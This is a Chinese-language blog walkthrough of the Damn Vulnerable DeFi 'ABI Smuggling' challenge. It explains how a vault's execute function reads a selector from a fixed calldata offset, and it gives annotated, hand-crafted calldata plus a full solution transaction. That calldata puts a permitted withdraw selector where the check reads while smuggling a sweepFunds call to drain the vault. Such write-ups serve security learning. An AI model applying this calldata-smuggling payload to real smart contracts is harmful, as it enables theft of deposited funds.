Defi安全挑战系列-Damn Vulnerable DeFi(#15 ABI Smuggling)
July 4th, 2023

有一个权限设置的保险库,其中存入了一百万个DVT代币。该保险库允许定期提取资金,并在紧急情况下全部提取资金。

该合约内嵌了一个通用的授权方案,只允许已知账户执行特定操作。

开发团队收到了一个负责任的披露,称所有资金都可以被盗取。

在为时已晚之前,从保险库中解救出所有资金,并将它们转回恢复账户。

分析合约

下面是solidty二进制接口说明文档

SelfAuthorizedVault.sol合约中的execute方法:

    function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
        // Read the 4-bytes selector at the beginning of `actionData`
        bytes4 selector;
        uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
        assembly {
            selector := calldataload(calldataOffset)
        }

        if (!permissions[getActionId(selector, msg.sender, target)]) {
            revert NotAllowed();
        }

        _beforeFunctionCall(target, actionData);

        return target.functionCall(actionData);
    }  

在abi-smuggling.challenge.js中执行

  it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        const sweepFundsCalldata = vault.interface.encodeFunctionData('sweepFunds', [recovery.address, token.address])
        const data = vault.interface.encodeFunctionData('execute', [vault.address, sweepFundsCalldata])
        console.log('Full calldata:', data)
        //下面是打印的内容
        // 0x1cff79cd                                                              //sweepFunds(address,address)的函数选择器 哈希的前 4 字节
        // 000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512        //0x00 receiver地址 
        // 0000000000000000000000000000000000000000000000000000000000000040        //0x20 动态类型从0x40开始,这里的开始指动态长度,长度后面紧跟动态数据
        // 0000000000000000000000000000000000000000000000000000000000000044        //0x40 动态类型长度 0x44 这里开始紧跟动态数据
        // 85fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000        //0x60-0xa0 sweepFunds calldata

    });

通过打印出来的Data我们可以分析动态类型是怎样传递数据的。这样直接提交交易肯定无法通过断言的,但是我们可以改成这样,这样就通过挑战了。

0x1cff79cd                                                              //execute(address, bytes)的函数选择器 哈希的前 4 字节
        000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512        //0x20 receiver地址
        0000000000000000000000000000000000000000000000000000000000000080        //0x40 这里80指0x80开始是动态类型相关数据
        0000000000000000000000000000000000000000000000000000000000000000        //0x60 空着
        d9caed1200000000000000000000000000000000000000000000000000000000        //0x80 这里的d9caed12是withdraw(address,address,uint256)的函数选择器,为了通过execute中的selector的相关断言
        0000000000000000000000000000000000000000000000000000000000000044        //0xa0 动态类型的长度 再后面就是sweepFunds calldata
        85fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000

解决方案

abi-smuggling.challenge.js


    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        const tx = {
            to: vault.address,
            value: 0,
            data: "0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000",
            gasLimit: 500000
        }
        await player.sendTransaction(tx)
    });
Subscribe to skye
Receive the latest updates directly to your inbox.
Nft graphic
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from skye

Skeleton

Skeleton

Skeleton